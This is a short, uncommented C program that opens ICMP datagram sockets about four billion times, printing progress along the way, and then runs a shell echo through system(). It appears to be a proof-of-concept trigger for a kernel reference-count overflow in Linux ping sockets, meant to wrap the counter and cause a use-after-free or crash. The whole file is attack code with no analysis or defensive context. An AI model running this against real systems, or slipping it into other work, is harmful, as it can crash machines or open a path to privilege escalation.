#include <arpa/inet.h>
#include <stdio.h>
#include <sys/socket.h>
int main(int argc, char *argv[]) {
int i ;
struct sockaddr_in saddr;
unsigned count = (1UL<<32) - 20 ;
if(argc >= 2){
count = atoi(argv[1]);
}
printf("count 0x%x\n",count);
for(i = 0 ; (unsigned)i < count;i++ ){
socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
if ( i % ( 1 << 22 ) == 0 )
printf("%i \n",i);
}
system("/bin/echo bye bye");
}